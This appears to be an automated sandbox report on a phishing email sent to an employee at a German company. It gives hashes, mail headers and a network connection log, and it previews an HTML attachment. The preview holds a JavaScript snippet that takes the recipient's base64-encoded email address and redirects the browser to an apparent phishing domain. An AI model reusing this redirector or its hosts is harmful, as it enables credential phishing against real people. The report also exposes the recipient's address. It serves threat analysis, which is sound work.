Encrypted:	false
SSDEEP:	6:7SKYUe+xfyACXOJxU8sA6WeUNZdL7wonsO2+RM6mm8iXrQKSTTHVb:7S9xqfyAp6V2dLPpRNx8iuTDVb
MD5:	CB76E73516CC25B826632CBCBCE10581
SHA1:	EFD4CAFAC7DF6EA29821120A4C7977DF95D5E66E
SHA-256:	20A9328EDD0833F1117462DA2AE54F01F262CA2357B8793D9960A8B3CC346551
SHA-512:	21353F0FB96282EC4654AF677EBE7B4AC40C56C55D94FD6F7FDD578B5D11C161A8055C3B7C89C8E7228998EF5C0FCE899AD97F02D7C41AB9A6C5686CE96C5388
Malicious:	false
URL:	https://lxnk1f.cheapestselfstorageunits.com/?am9oYW5uZXMuYmVya21hbm5AdmlyaWRpdW0tZ3J1cHBlLmNvbQ==
Preview:	<script>..// Get URL..//eg http://example.com/#.[char5].[EMAIL64]..var link = document.URL;..// extract everything after hash..var hash = link.substring(link.indexOf('?')+1);..// convert from base64..var decodedb64 = atob(hash);..// Redirect to another page..window.location.href = 'https://qiczox0.ascenseurm8.com/76ikbi1/#' + hash;..</script>

Static File Info

General

File type:	CDFV2 Microsoft Outlook Message
Entropy (8bit):	6.072975062818048
TrID:	Outlook Message (71009/1) 45.36% Outlook Form Template (41509/1) 26.51% Perfect Keyboard macro set (36024/1) 23.01% Generic OLE2 / Multistream Compound File (8008/1) 5.12%
File name:	Your Document-7617432882-8AhEHNmrLR Ready.msg
File size:	733'184 bytes
MD5:	3e35d43b14c9134c16c4430c7bfb9e9f
SHA1:	dbfd0b32826f97aa41072f9c6fc9f1cfdc8b0094
SHA256:	7aabd9f19bfcc9b4121ba18351e7ab84a6cb93569a455a50be680da2996c84fe
SHA512:	3010af0a768f36775f43bb0051ad2f3320f1845d5da6afb19dad49fd811ecf31d3563466106b2aab4e59c6b2491c613544a2dd5e7b671eb691378bec4b6fc0bc
SSDEEP:	12288:PvdGXMdJYJ8+mu+ItYC4ur4mGC9BV/iztJSQ8D366x8GKnUhtrpEw/:NECzfu8mGCbV6pJShD366on+
TLSH:	20F4E13439E61A16F2B7AF3685E780A35D3AFD839D159A5F3085330E0572A11D863B3E
File Content Preview:	........................>......................................................._..............................................................................................................................................................................

Static Mail

General

Subject:	Your Document-7617432882-8AhEHNmrLR Ready
From:	Viridium-gruppe 29525710021-OMAOpYLGQj<shane@christoff.ie>
To:	johannes.berkmann@viridium-gruppe.com
Cc:
BCC:
Date:	Wed, 02 Oct 2024 18:49:31 +0200
Communications:	You don't often get email from shane@christoff.ie. <https://aka.ms/LearnAboutSenderIdentification> Learn why this is important
Attachments:	Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html

Headers

Key	Value
Received	from masopa.internal.cloudapp.net ([52.235.1.214])
FRYP281MB2057.DEUP281.PROD.OUTLOOK.COM with HTTPS; Wed, 2 Oct 2024 16	52:06
by BEZP281MB2833.DEUP281.PROD.OUTLOOK.COM (2603	10a6:b10:70::14) with
2024 16	49:31 +0000
(2603	10a6:d10:95::19) with Microsoft SMTP Server (version=TLS1_2,
Transport; Wed, 2 Oct 2024 16	49:31 +0000
Authentication-Results	spf=softfail (sender IP is 51.138.105.201)
Received-SPF	Pass (protection.outlook.com: domain of christoff.ie designates
via Frontend Transport; Wed, 2 Oct 2024 16	49:31 +0000
for <johannes.berkmann@viridium-gruppe.com>; Wed, 2 Oct 2024 18	52:00 +0200 (CEST)
ARC-Authentication-Results	i=1; seg-azure-cl01-node02.de.cancom-mase.com;
ARC-Message-Signature	i=1; a=rsa-sha256; c=relaxed/relaxed; d=
viridium-gruppe.com; h=content-transfer-encoding	subject:from:to
	content-language:user-agent:mime-version:date:message-id; s=vg;
ARC-Seal	i=1; a=rsa-sha256; cv=none; d=viridium-gruppe.com; s=vg; t=
Authentication-Results-Original	spf=pass (sender IP is 185.129.138.163)
by BE1P281MB2983.DEUP281.PROD.OUTLOOK.COM (2603	10a6:b10:60::11) with
id w2XXs8ZA4eqGtw2XYscaZW; Wed, 02 Oct 2024 18	49:30 +0200
Content-Type	multipart/related; boundary="===============5122796029428905569=="
MIME-Version	1.0
Subject	Your Document-7617432882-8AhEHNmrLR Ready
From	Viridium-gruppe 29525710021-OMAOpYLGQj<shane@christoff.ie>
Sender	shane@christoff.ie
To	johannes.berkmann@viridium-gruppe.com
X-Priority	1
X-CMAE-Envelope	MS4xfNQs2lF+lLhRJ4tPbNH+DrHLeSpnHhHu4RjdWwsSfgK8Go33YbqK2wcQt3LwxsnU2HIJ4gAnWWdjxtMjfo3Bla/SZdD00Pcz7mWnwDlDryp1JWbXHp0E
Message-ID	<23b94bc8-3bfb-481a-8da8-ff6faec9845f@FR3PEPF00000487.DEUP281.PROD.OUTLOOK.COM>
Date	Wed, 2 Oct 2024 16:49:31 +0000
X-EOPAttributedMessage	1
X-MS-TrafficTypeDiagnostic	FR3PEPF00000487:EE_\|BE1P281MB2983:EE_\|BE1PEPF0000056C:EE_\|BEZP281MB2833:EE_\|FRYP281MB2057:EE_
X-MS-Office365-Filtering-Correlation-Id	352dd995-a05b-4f06-c4cf-08dce3028a41
X-MS-Exchange-AtpMessageProperties	SA\|SL
X-Microsoft-Antispam-Untrusted	BCL:0;ARA:13230040\|2613699012\|38000299018\|43540500003;
X-Microsoft-Antispam-Message-Info-Original	=?us-ascii?Q?4/czSHEiWiasKdqQSOp/mCKWjkVkB8wA0X4F/Br+/E4sAqsqRD88nk3FyS+s?=
X-Forefront-Antispam-Report-Untrusted	CIP:185.129.138.163;CTRY:CZ;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:h4.cmg1.smtp.forpsi.com;PTR:h4.cmg1.smtp.forpsi.com;CAT:NONE;SFTY:9.25;SFS:(13230040)(2613699012)(38000299018)(43540500003);DIR:INB;SFTY:9.25;
X-MS-Exchange-Transport-CrossTenantHeadersStamped	BEZP281MB2833
X-OrganizationHeadersPreserved	BE1P281MB2983.DEUP281.PROD.OUTLOOK.COM
X-SM-incoming	yes
Return-Path	shane@christoff.ie
X-MS-Exchange-Organization-ExpirationStartTime	02 Oct 2024 16:52:02.8773
X-MS-Exchange-Organization-ExpirationStartTimeReason	OriginalSubmit
X-MS-Exchange-Organization-ExpirationInterval	1:00:00:00.0000000
X-MS-Exchange-Organization-ExpirationIntervalReason	OriginalSubmit
X-MS-Exchange-Organization-Network-Message-Id	352dd995-a05b-4f06-c4cf-08dce3028a41
X-MS-Exchange-Organization-MessageDirectionality	Originating
X-MS-Exchange-Organization-SCL	1
X-CrossPremisesHeadersPromoted	BE1PEPF0000056C.DEUP281.PROD.OUTLOOK.COM
X-CrossPremisesHeadersFiltered	BE1PEPF0000056C.DEUP281.PROD.OUTLOOK.COM
X-MS-Exchange-Transport-CrossTenantHeadersStripped	BE1PEPF0000056C.DEUP281.PROD.OUTLOOK.COM
X-MS-PublicTrafficType	Email
X-MS-Exchange-Organization-AuthSource	FR3PEPF00000487.DEUP281.PROD.OUTLOOK.COM
X-MS-Exchange-Organization-AuthAs	Anonymous
X-OriginatorOrg	viridium-gruppe.com
X-MS-Office365-Filtering-Correlation-Id-Prvs	1b4c61e3-47c8-44f5-95d4-08dce3022fd2
X-Microsoft-Antispam	BCL:0;ARA:13230040\|35042699022\|82310400026\|2613699012\|43540500003;
X-Forefront-Antispam-Report	CIP:51.138.105.201;CTRY:NL;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:seg-azure-cl01-node02.de.cancom-mase.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(35042699022)(82310400026)(2613699012)(43540500003);DIR:INB;
X-MS-Exchange-CrossTenant-OriginalArrivalTime	02 Oct 2024 16:52:02.6586
X-MS-Exchange-CrossTenant-Network-Message-Id	352dd995-a05b-4f06-c4cf-08dce3028a41
X-MS-Exchange-CrossTenant-Id	7262225e-f96d-41a8-b3c6-739c32b1a9c9
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp	TenantId=7262225e-f96d-41a8-b3c6-739c32b1a9c9;Ip=[51.138.105.201];Helo=[seg-azure-cl01-node02.de.cancom-mase.com]
X-MS-Exchange-CrossTenant-AuthSource	FR3PEPF00000487.DEUP281.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs	Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader	HybridOnPrem
X-MS-Exchange-Transport-EndToEndLatency	00:00:03.7519371
X-MS-Exchange-Processed-By-BccFoldering	15.20.8026.016
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003)(1420198);
X-Microsoft-Antispam-Message-Info	=?us-ascii?Q?2eXLz1HqWy/dWxoKUSzvdJ0PtXdQhqxf2YdWmzi7ZsOh+hVC5pYTnlxIjdBy?=
date	Wed, 02 Oct 2024 18:49:31 +0200

File Icon


Icon Hash:	c4e1928eacb280a2

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 09:56:03.125693083 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 4, 2024 09:56:03.429296017 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 4, 2024 09:56:04.036269903 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 4, 2024 09:56:05.245284081 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 4, 2024 09:56:06.761801004 CEST	49689	80	192.168.2.16	192.229.211.108
Oct 4, 2024 09:56:07.650372982 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 4, 2024 09:56:09.563865900 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:09.563919067 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:09.564001083 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:09.565773010 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:09.565783978 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.228245974 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.228395939 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.230752945 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.230772972 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.231539965 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.272628069 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.315407038 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.495898008 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.496051073 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.496114969 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.498141050 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.498168945 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.498183012 CEST	49705	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.498188972 CEST	443	49705	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.543791056 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.543838978 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:10.543910980 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.544318914 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:10.544332981 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.194803953 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.194880009 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:11.196490049 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:11.196510077 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.197468996 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.198714018 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:11.243407011 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.292083025 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 4, 2024 09:56:11.475910902 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.475991011 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.476037979 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:11.476861000 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:11.476861000 CEST	49707	443	192.168.2.16	184.28.90.27
Oct 4, 2024 09:56:11.476890087 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.476900101 CEST	443	49707	184.28.90.27	192.168.2.16
Oct 4, 2024 09:56:11.592314005 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 4, 2024 09:56:12.206360102 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 4, 2024 09:56:12.457257032 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 4, 2024 09:56:13.129328012 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:13.129415035 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:13.129590034 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:13.133207083 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:13.133235931 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:13.407284021 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 4, 2024 09:56:13.948357105 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:13.948445082 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:13.954046011 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:13.954077959 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:13.954452038 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:13.995351076 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.031996965 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.079401970 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.297741890 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.297766924 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.297775984 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.297785044 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.297823906 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.297941923 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.297941923 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.297981977 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.298044920 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.299091101 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.299160004 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.299175978 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.299271107 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.299320936 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.309490919 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.309531927 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.309557915 CEST	49709	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:14.309571981 CEST	443	49709	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:14.503241062 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:14.503273010 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:14.503350019 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:14.503561020 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:14.503573895 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.429335117 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.430335999 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.472733974 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.472747087 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.472975969 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.473601103 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.473624945 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.473661900 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.761535883 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 4, 2024 09:56:15.808290005 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 4, 2024 09:56:15.865825891 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.865850925 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.865894079 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.865907907 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.865921974 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.865962029 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.865962029 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.866153955 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.866153955 CEST	49710	443	192.168.2.16	20.190.160.22
Oct 4, 2024 09:56:15.866167068 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:15.866174936 CEST	443	49710	20.190.160.22	192.168.2.16
Oct 4, 2024 09:56:16.063273907 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 4, 2024 09:56:16.667279959 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 4, 2024 09:56:17.878829956 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 4, 2024 09:56:20.292692900 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 4, 2024 09:56:20.611267090 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 4, 2024 09:56:22.064289093 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 4, 2024 09:56:25.093332052 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 4, 2024 09:56:30.226286888 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 4, 2024 09:56:31.575299025 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:31.575355053 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:31.575433969 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:31.575618982 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:31.575644970 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.176650047 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.176979065 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:32.177010059 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.178445101 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.178528070 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:32.179672956 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:32.179783106 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.179852009 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:32.179866076 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.221268892 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:32.384973049 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.385154009 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.385210991 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:32.388874054 CEST	49718	443	192.168.2.16	72.167.142.137
Oct 4, 2024 09:56:32.388902903 CEST	443	49718	72.167.142.137	192.168.2.16
Oct 4, 2024 09:56:32.706212997 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:32.706264019 CEST	443	49719	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:32.706335068 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:32.706634045 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:32.706650019 CEST	443	49719	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:32.868319988 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:32.868366957 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:32.868453979 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:32.868664026 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:32.868670940 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:33.195888996 CEST	443	49719	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.196182966 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.196212053 CEST	443	49719	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.197834969 CEST	443	49719	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.197926998 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.199063063 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.199091911 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.199166059 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.199300051 CEST	443	49719	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.199373007 CEST	49719	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.199480057 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.199520111 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.199594975 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.199788094 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.199803114 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.515786886 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:33.516087055 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:33.516148090 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:33.517173052 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:33.517283916 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:33.518170118 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:33.518240929 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:33.571297884 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:33.571325064 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:33.618292093 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:33.663577080 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.663860083 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.663877964 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.665302992 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.665366888 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.666488886 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.666580915 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.666699886 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.666709900 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.713298082 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.802611113 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.802679062 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.802721024 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.802728891 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.802740097 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.802788973 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.802795887 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.802861929 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:33.802911997 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.804049969 CEST	49721	443	192.168.2.16	172.67.185.52
Oct 4, 2024 09:56:33.804066896 CEST	443	49721	172.67.185.52	192.168.2.16
Oct 4, 2024 09:56:34.696254015 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 4, 2024 09:56:43.446832895 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:43.446912050 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:43.447016001 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:44.322712898 CEST	49720	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:56:44.322788000 CEST	443	49720	172.217.16.196	192.168.2.16
Oct 4, 2024 09:56:50.775476933 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:50.775532961 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:50.775657892 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:50.776047945 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:50.776062012 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.433418036 CEST	49696	80	192.168.2.16	93.184.221.240
Oct 4, 2024 09:56:51.433459997 CEST	49697	80	192.168.2.16	93.184.221.240
Oct 4, 2024 09:56:51.439310074 CEST	80	49696	93.184.221.240	192.168.2.16
Oct 4, 2024 09:56:51.439426899 CEST	49696	80	192.168.2.16	93.184.221.240
Oct 4, 2024 09:56:51.439466953 CEST	80	49697	93.184.221.240	192.168.2.16
Oct 4, 2024 09:56:51.439521074 CEST	49697	80	192.168.2.16	93.184.221.240
Oct 4, 2024 09:56:51.592643023 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.592741966 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.594124079 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.594152927 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.594655991 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.595969915 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.643404007 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.926549911 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.926610947 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.926662922 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.926687002 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.926737070 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.926768064 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.926789999 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.927470922 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.927535057 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.927560091 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.927576065 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.927602053 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.927691936 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.927750111 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.929472923 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.929506063 CEST	443	49722	4.175.87.197	192.168.2.16
Oct 4, 2024 09:56:51.929529905 CEST	49722	443	192.168.2.16	4.175.87.197
Oct 4, 2024 09:56:51.929543972 CEST	443	49722	4.175.87.197	192.168.2.16
